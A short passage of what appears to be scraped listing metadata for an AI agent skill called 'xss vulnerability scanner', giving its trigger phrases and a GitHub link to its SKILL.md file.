Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]